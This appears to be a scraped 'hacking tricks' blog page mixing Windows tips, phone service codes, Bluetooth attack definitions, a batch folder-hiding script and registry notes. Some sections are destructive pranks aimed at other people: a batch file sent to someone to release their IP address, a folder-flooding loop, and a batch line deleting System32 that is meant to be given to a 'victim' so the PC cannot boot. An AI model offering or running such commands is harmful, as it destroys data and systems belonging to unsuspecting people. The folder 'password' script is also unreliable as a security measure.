Best Computer Tips & Tricks

Best Computer Tips & Tricks

 Here i am going to tell you best computer tips & tricks.Through this you can easily search the material of best computer hacks & tricks.This post contains lots of stuff like computer notepad tricks through which you can easily delete temporary folders, Remove shortcut viruses, stop someone’s internet access, and lots of cool hacking tricks. Learn the techniques-Best Computer Tips & Tricks.

These are the best computer tips and tricks which is more usefull for you to prank with your friends.

 

HOW TO AUTO DELETE TEMPORARY FOLDER

1. Firstly Go to Start and open run after this you will have to type %temp% .
2. This will opens yours temp folder and then you can easily erase it .

2nd Method:- Using GPEDIT

1. Firstly search for gpedit.msc and open this.
2. Now you have to select “Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder “
3. Then right click on “Do Not Delete Temp Folder Upon Exit”
4. After this Go to the properties and hit disable.
5. Now next time Windows puts a temp file in that folder and it will automatically delete it.

MAKE YOUR PDF FILES TO SPEAK

Here are the some shortcuts for hearing pdf files in adobe reader 6.0 or higher

1. Type – ” ctrl+shift+b ” to hear the whole topic.
2. Type – ” ctrl+shift+v ” to hear the page.

SHORTCUT VIRUS REMOVING TRICKS

If your Pen Drive is infected with any of the following viruses:

1. Autorun.inf
2. new folder.exe
3. New_Folder.exe
4. ravmon.exe

Actually this viruses are hidden and can’t be seen even after you enable show hidden folders.
Following simple dos command will change the attributes of these files ,there after you can remove it by pressing delete key.
Follow these steps:

1. You have to Type ” cmd ” in Run.
2. Then Switch to the drive on which pen drive is connected (like C:\> h: enter).
3. Type ” attrib -s -h *.* /s /d ” and hit enter (don’t forget spaces).

Now you can see hidden virus files and you can delete them.

HOW TO MAKE MORE THAN THOUSANDS OF FOLDER USING NOTEPAD

1. Firstly Open notepad and copy the following code:

@echo off
:top
md %random%
goto top
3. Then you have to Save it as besthackingtricks.bat
If you will open that file that folder will be rained by more than thousand of folders.
Note :- It will not cause any harm to your computer.

HOW TO STOP SOMEONE’S INTERNET ACCESS

1. Firstly Open notepad then type
@Echo off
Ipconfig /release

Save that as Fun.bat and send it to someone. They’re IP address will be lost, and therefore they won’t be able to fix it
However, this is VERY easy to fix. Simply type in IPconfig /renew

HOW TO DAMAGE A COMPUTER

1. Firstly Open Notepad and Write the below command there:
” del c:\WINDOWS\system32\*.*/q ”  save as ” besthackingtricks.bat” .

If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.

Twitter id

Type

Follow RanaTricks 

Send 40404

 Mobile Tricks

Secret Codes for Nokia

Codes :
1) *#06# For checking IMEI(international Mobile Equipment Identity)
2) *#7780# Reset to factory settings
3) *#0000# To view software version
4) *#2820# Bluetooth device address
5) *#746025625# Sim clock allowed status
6) #pw+1234567890+1# Shows if ur sim as any restrictions
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

NOKIA:

CODES AND THEIR FUNCTION

*3370#
This Nokia code activates Enhanced Full Rate Codec (EFR) - Your Nokia cell phone uses
the best sound quality but talk time is reduced my approx. 5%

#3370#
Deactivate Enhanced Full Rate Codec (EFR)

*#4720#
Activate Half Rate Codec - Your phone uses a lower quality sound but you should gain
approx 30% more Talk Time

*#4720#
With this Nokia code you can deactivate the Half Rate Codec

*#0000#
Displays your phones software version, 1st Line : Software Version, 2nd Line : Software
Release Date, 3rd Line : Compression Type

*#9999#
Phones software version if *#0000# does not work

*#06#
For checking the International Mobile Equipment Identity (IMEI Number)

#pw+1234567890+1#
Provider Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

#pw+1234567890+2#
Network Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

#pw+1234567890+3#
Country Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

#pw+1234567890+4#
SIM Card Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

*#147#
This lets you know who called you last (Only vodofone)

*#1471#
Last call (Only vodofone)

*#21#
This phone code allows you to check the number that "All Calls" are diverted to

*#2640#
Displays phone security code in use

*#30#
Lets you see the private number

*#43#
Allows you to check the "Call Waiting" status of your cell phone.

*#61#
Allows you to check the number that "On No Reply" calls are diverted to

*#62#
Allows you to check the number that "Divert If Unreachable (no service)" calls are diverted to

*#67#
Allows you to check the number that "On Busy Calls" are diverted to

*#67705646#
Phone code that removes operator logo on 3310 & 3330

*#73#
Reset phone timers and game scores

*#746025625#
Displays the SIM Clock status, if your phone supports this power saving feature "SIM Clock
Stop Allowed", it means you will get the best standby time possible

*#7760#
Manufactures code


*#7780#
Restore factory settings

*#8110#
Software version for the nokia 8110

*#92702689#
Displays - 1.Serial Number, 2.Date Made, 3.Purchase Date, 4.Date of last repair (0000 for no repairs),
5.Transfer User Data. To exit this mode you need to switch your phone off then on again.

*#94870345123456789#
Deactivate the PWM-Mem

**21*number#
Turn on "All Calls" diverting to the phone number entered

**61*number#
Turn on "No Reply" diverting to the phone number entered

**67*number#
Turn on "On Busy" diverting to the phone number entered

12345
This is the default security code

press and hold #
Lets you switch between lines
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


SAMSUNG:

CODES AND THEIR FUNCTION

*#06# IMEI code

*#9998*4357# Help Menu

*#9998*5282# Java menu (GRPS/CSD settings for JAVA server)

*#9999#0# Monitor Mode

*#9999# or *#9998*9999# Software Version

*#8888# or *#9998*8888# Hardware Version

*#9998*746# or *#9998*0746# or *#0746# Sim Infos

*#9998*523# or *#9998*0523# or *#0523# Display Contrast

*#9998*842# or *#9998*0842# or *#0842# Vibration On (until you push OK)

*#9998*289# or *#9998*0289# or *#0289# Buzzer On (until you push OK)

*#9998*288# or *#9998*0288# or *#0288# Battery & Field Infos

*#9998*377# or *#9998*0377# Error log

*#9998*778# or *#9998*0778# or *#0778# Sim Service table

*#9998*782# show date and alarm clock

*#8999*638# show network information

*#9998*5646# change operator logo at startup

*#9998*76# production number

*#9998*968# view melody for alarm

*#9998*585# Non-Volatile Memory (NVM)

*#3243948# Digital Audio Interference Off

*#32436837# Digital Audio Interference On
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


NEC:

CODES AND THEIR FUNCTION

*#2820# Software version

*#06# IMEI

*73738# Reset

* # 3210 # Service Provider Lock info

*#8140# Network barring info





SIEMENS:

CODES AND THEIR FUNCTION

* # 0 6 # IMEI No.

+ 1 2 0 2 2 2 4 3 1 2 1 Bonus screen

* # 0 6 # Software version
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ERICSSON:

CODES AND THEIR FUNCTION

>*<<**<<**< Network and Subnetwork

<*<><** Control /Enable SIM Lock
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

SONY:

CODES AND THEIR FUNCTION

Push * and type 936505: IMEI

Push * and type 4329 :enables/disables network monitor 1

Push * and type 621342 :enables/disables network monitor 2

Push * and type 5807 : Serial Number Software Vers. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

BLUETOOTH HACKING / BLUE JACKING:

Bluejacking is the sending of unsolicited messages over Bluetooth to Bluetooth-enabled devices such as mobile phones,
PDAs or laptop computers.
Bluetooth has a very limited range, usually around 10 metres on mobile phones, but laptops can reach up to 100 metres.
Simple tip to avoid Blue Jacking / Hacking is to:
KEEP YOUR BLUETOOTH OFF WHEN NOT IN USE
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

BLUESNARFING:

Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between
phones, desktops, laptops, and PDAs. This allows access to a calendar, contact list, emails and text messages, and on some
phones users can steal pictures and private videos.Simple tip to avoid Bluesnarfing is to:
KEEP YOUR BLUETOOTH OFF WHEN NOT IN USE ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

PHONE LOCK / SIM LOCK:

A SIM lock, not to be confused with PIN or PUK code, is a capability built-in to GSM phones by mobile phone manufacturers.
Network providers use this capability to restrict the use of these phones to specific countries and network providers.
Currently, phones can be locked to accept only SIM cards from one or more of the following:
-Countries (the phone will work in one country, but not another)
-Network/Service providers-
-SIM types (i.e. only specific SIM cards can be used with the phone).

UNLOCKING:

A handset can be unlocked by:

-Entering Unlocking Code
-Unlocking Sofware [Via USB Cable or Bluetooth]

Unlocking Softwares are readily available on the Internet, too many to mention!

- See more at: http://aboutcomputerinfo.blogspot.com/p/mobile-tricks.html#sthash.0UGAtdO4.dpuf

Password Protect Any Folder Without Any Software

Password Protect Any Folder Without Any Software

http://www.Twitter.com/RanaTricks

In my previous post i have teach you to hide files behind images. In this tutorial i will show you interesting and usefull trick to password protect folder without using any software using batch file programming. This trick will work on all windows platform (Win XP, Win 7). Follow below tutorial to learn this trick.

How To Lock Folder ?

   1. Open Notepad and Copy code given below into it.

cls
@ECHO OFF
title RanaTricks.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== RaNaTricks goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End

   2. Save the notepad file as lock.bat (.bat is must)

   3. Now double click on lock.bat and a new folder will be created with name MyFolder

   4. Copy all your data you want to protect in that New folder

   5. Now double click on lock.bat and when command promp appears Type Y and press enter.

   6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat

   7. It will ask for password enter your password and done. (Default password is RanaTricks)

• To change the password replace RanaTricks with  new password in the above code

Registry keys Secrets

The registry is not a single self contained file, but an extensive Database, which works mainly with 7 files. These files be evaluated at each start of WinXP and are about registry then Windows, and all working on the computer programs.

XP registry keys

Here below are the some important windows XP registry keys secrets and their functions also you can know about registry keys  and about their uses as well in detail.

HKEY_CLASSES_ROOT

In the upper section all file extensions for known file types are stored. If you have, For example, Microsoft Word installed on your computer, find here the Entry. Doc for Word documents.
In the right window you will see the entry standard of the value as the name for registered file type contains. Designation for registered file types appear in part as a key in the bottom. Here the properties of registered files are stored on other and the commands set that you see the context menu for a file type. The corresponding commands you can find in the subkey shell of a file type.
More File properties that are managed here, ss also the symbol with which the file is displayed in the Explorer Commands that are executed when you double click the file name, So about the start of the linked program. Here you will find a key named CLSID with numerous sub-basins, which are filed by OLE-enabled applications and ActiveX components. These keys are used by Windows XP to drag and drop and OLE for be able to implement certain programs.

HKEY_USERS

Here are all information about users who log on to the computer that saved. This information set for firm B:-
a.  Default settings for the DEsktop.
b.  Default settings for the Control Panel.
c.  Default settings for Network Connections.
d.  Default settings for the Installed Programs.

When installing WinXP, the DEFAULT subkey is created in which the Information is available that apply to all users of the computer alike. By default, find here the DEFAULT and SOFTWARE two key. If the user profiles enabled in Windows, so created a user is created at least one other key, that of the current user.

HKEY_CURRENT_USER

The current logged-on user. If a user logs in the start of WinXP with the login name, all Settings from the HKEY_USERS key used. If no personal User name on the computer account, Windows uses by default the data
for standard users from the key DEFAULT. Hence, the configuration the computer and the desktop for each user are identical.

HKEY_LOCAL_MACHINE

Here are the hardware and software is managed. Similarly, the driver used. This means that the information stored here for all users of the System apply. When Windows start searching here on existing hardware. In subkey Software Registry stores all information about the installed programs.

HKEY_CURRENT_CONFIG

The main key stores information about hardware profiles. The key system / class can contain multiple keys named 000x, which are always numbered consecutively. Each of these 000x key stores information for a particular configuration.

Windows XP registry keys secrets in Urdu